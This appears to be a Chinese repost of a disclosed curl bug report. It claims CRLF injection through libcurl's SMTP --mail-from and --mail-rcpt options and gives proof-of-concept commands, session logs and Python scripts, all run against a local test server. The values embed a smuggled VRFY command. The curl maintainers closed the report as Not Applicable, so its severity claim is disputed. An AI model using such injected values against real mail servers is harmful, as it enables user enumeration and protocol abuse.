libcurl SMTP客户端CRLF注入漏洞分析:通过--mail-from和--mail-rcpt实现SMTP命令走私

本文详细分析了libcurl SMTP客户端存在的CRLF注入漏洞,攻击者可通过恶意构造的邮件地址注入换行符,实现SMTP命令走私,可能导致用户枚举或协议滥用。文章包含复现步骤、代码示例及影响分析。

CRLF注入在libcurl的SMTP客户端中通过–mail-from和–mail-rcpt允许SMTP命令走私

摘要

libcurl的SMTP客户端易受通过–mail-from和–mail-rcpt参数的CRLF注入攻击。攻击者可以注入换行符来走私SMTP命令(如VRFY),可能启用用户枚举或协议滥用。虽然curl在注入后可能失败,但注入的命令由SMTP服务器执行,确认了漏洞存在。

受影响版本

在Ubuntu 24.04.2上测试了以下版本:

  • curl 8.5.0(系统)
  • curl 8.15.0-DEV(本地构建)
  • PycURL/7.45.6 with libcurl/8.12.1-DEV

完整系统curl版本:

1
2
3
4
5
$ curl -V
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd

完整本地构建版本:

1
2
3
4
5
$ curl -V
curl 8.15.0-DEV (Linux) libcurl/8.15.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 libssh2/1.11.0 nghttp2/1.59.0 OpenLDAP/2.6.7
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets zstd

复现步骤

  1. 运行测试SMTP服务器;我使用的服务器名为smtp_server,以./smtp_server运行并在localhost:1025监听。
  2. 发送带有正常电子邮件地址的邮件,例如:curl -vf --url "smtp://localhost:1025/" --mail-from "attacker@example.com" --mail-rcpt "recipient@example.com" --upload-file mail.txt,其中mail.txt是文本文件——curl正常完成。
  3. 现在发送带有注入CRLF的邮件,例如在"from"字段中:curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf 'user@example.com\r\nVRFY d@example.com\r\n')" --mail-rcpt "recipient@example.com" --upload-file mail.txt——curl失败,显示DATA failed: 250,因为服务器向注入的VRFY命令发送了250 OK而不是预期的354;这证明了CRLF注入发生。

我认为问题源于smtp.c中的smtp_perform_mail函数中的"MAIL FROM:%s%s%s%s%s%s"在连接邮件字段时未进行清理(且smtp_parse_address也未清理"\r\n")。

支持材料/参考

正常邮件发送:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ curl -vf --url "smtp://localhost:1025/" --mail-from "attacker@example.com" --mail-rcpt "recipient@example.com" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<attacker@example.com> SIZE=4
< 250 OK
> RCPT TO:<recipient@example.com>
< 250 OK
> DATA
< 354 End data with <CR><LF>.<CR><LF>
} [4 bytes data]
* We are completely uploaded and fine
< 250 Message accepted for delivery
* Connection #0 to host localhost left intact

在"from"字段中发送带有CRLF的邮件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ cat mail.txt
Huh?

$ curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf 'user@example.com\r\nVRFY d@example.com\r\n')" --mail-rcpt "recipient@example.com" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<user@example.com
> VRFY d@example.com
> SIZE=4
< 250 OK
> RCPT TO:<recipient@example.com>
< 250 OK: John X Doe <d@example.com>
> DATA
< 250 OK
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250

在"rcpt"字段中发送带有CRLF的邮件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ curl -vf --url "smtp://localhost:1025/" --mail-rcpt "$(printf 'rcpt@example.com\r\nVRFY d@example.com\r\n')" --mail-from "from@example.com" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
*   Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<from@example.com> SIZE=4
< 250 OK
> RCPT TO:<rcpt@example.com
> VRFY d@example.com
>
< 250 OK
> DATA
< 250 OK: John X Doe <d@example.com>
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250
error: Recipe `test-bad-rcpt` failed on line 13 with exit code 55

使用pycURL发送带有CRLF的邮件:

1
2
3
4
$ ./send-with-pycurl
2025-07-03 15:08:38.173 | INFO     | __main__:<module>:37 - pycurl version: PycURL/7.45.6 libcurl/8.12.1-DEV OpenSSL/3.4.1 zlib/1.3 brotli/1.1.0 libssh2/1.11.1_DEV nghttp2/1.64.0
2025-07-03 15:08:38.173 | INFO     | __main__:send:22 - sending email from 'user@example.com\r\nVRFY d@example.com' to 'recipient@example.com'
2025-07-03 15:08:38.176 | ERROR    | __main__:send:32 - exception: (55, 'DATA failed: 250')

服务器日志(用于说明):

1
2
3
4
5
6
7
8
9
$ ./smtp_server
SMTP server running at localhost:1025 (Ctrl+C to stop)
2025-07-03 15:08:23.449 | INFO     | __main__:handle_DATA:24 - Message received -- from: attacker@example.com, to: ['recipient@example.com']
2025-07-03 15:08:23.449 | INFO     | __main__:handle_DATA:25 - Data:>>>Huh?
<<<
2025-07-03 15:08:31.116 | INFO     | __main__:handle_VRFY:29 - Message received -- from: user@example.com, to: []
2025-07-03 15:08:31.116 | INFO     | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <d@example.com>'
2025-07-03 15:08:38.176 | INFO     | __main__:handle_VRFY:29 - Message received -- from: user@example.com, to: []
2025-07-03 15:08:38.176 | INFO     | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <d@example.com>'

smtp_server脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
#   "loguru",
#   "aiosmtpd",
# ]
# ///

from aiosmtpd.controller import Controller
from aiosmtpd.smtp import SMTP
from loguru import logger


class MessageHandler:
    async def handle_DATA(self, server, session, envelope):
        logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
        logger.info("Data:>>>{}<<<", envelope.content.decode("utf8", errors="replace"))
        return "250 Message accepted for delivery"

    async def handle_VRFY(self, server, session, envelope, address, *args, **kwargs):
        logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
        USERS = {
            "d@example.com": "John X Doe",
        }
        if full_name := USERS.get(address.lower()):
            response = f"250 OK: {full_name} <{address}>"
        else:
            response = f"550 No such user {address}"
        logger.info("Sending back {!r}", response)
        return response


class MyController(Controller):
    def factory(self):
        """Subclasses can override this to customize the handler/server creation."""
        kwargs = {**self.SMTP_kwargs, "hostname": "test-smtpd"}
        return SMTP(self.handler, **kwargs)


if __name__ == "__main__":
    handler = MessageHandler()
    controller = MyController(handler, hostname="127.0.0.1", port=1025)
    controller.start()
    print("SMTP server running at localhost:1025 (Ctrl+C to stop)")
    import time

    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        controller.stop()

send-with-pycurl脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
#   "loguru",
#   "pycurl",
# ]
# ///
import io

import pycurl
from loguru import logger


def send(sender, recipient):
    msg = f"""\
From: {sender}
To: {recipient}
Subject: Hello from pycurl

This is the email body.
    """
    logger.info("sending email from {!r} to {!r}", sender, recipient)
    c = pycurl.Curl()
    c.setopt(pycurl.URL, "smtp://localhost:1025")
    c.setopt(pycurl.MAIL_FROM, sender)
    c.setopt(pycurl.MAIL_RCPT, [recipient])
    c.setopt(pycurl.UPLOAD, 1)
    c.setopt(pycurl.READDATA, io.BytesIO(msg.encode()))
    try:
        c.perform()
    except Exception as exc:
        logger.error("exception: {}", exc)
    c.close()


if __name__ == "__main__":
    logger.info("pycurl version: {}", pycurl.version)
    send("user@example.com\r\nVRFY d@example.com", "recipient@example.com")

影响

此漏洞允许攻击者通过精心构造恶意电子邮件地址注入任意SMTP命令(如VRFY)。它可能导致用户枚举、绕过客户端限制或中断SMTP会话,尤其是在自动化或基于代理的电子邮件工作流程中。

时间线

  • skrcprst 向curl提交报告(15天前)
  • bagder(curl员工)发表评论(15天前):感谢报告,将调查。
  • icing(curl员工)发表评论(15天前):询问AI发现漏洞的成功率。
  • bagder(curl员工)发表评论(15天前):认为这不是合法漏洞,因为攻击者无法随机访问和修改curl命令行。
  • skrcprst 发表评论(15天前):同意关闭报告。
  • jimfuller2024(curl员工)发表评论(15天前):指出报告中的错误假设。
  • skrcprst 关闭报告并将状态更改为Not Applicable(15天前)
  • bagder(curl员工)请求披露此报告(15天前)
  • skrcprst 同意披露报告(14天前)
  • 报告已披露(14天前)

报告详情

  • 报告ID:#3235428
  • 严重性:中等(4 ~ 6.9)
  • 披露时间:2025年7月3日 22:57 UTC
  • 弱点:CRLF注入
  • CVE ID:无
  • 赏金:隐藏
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计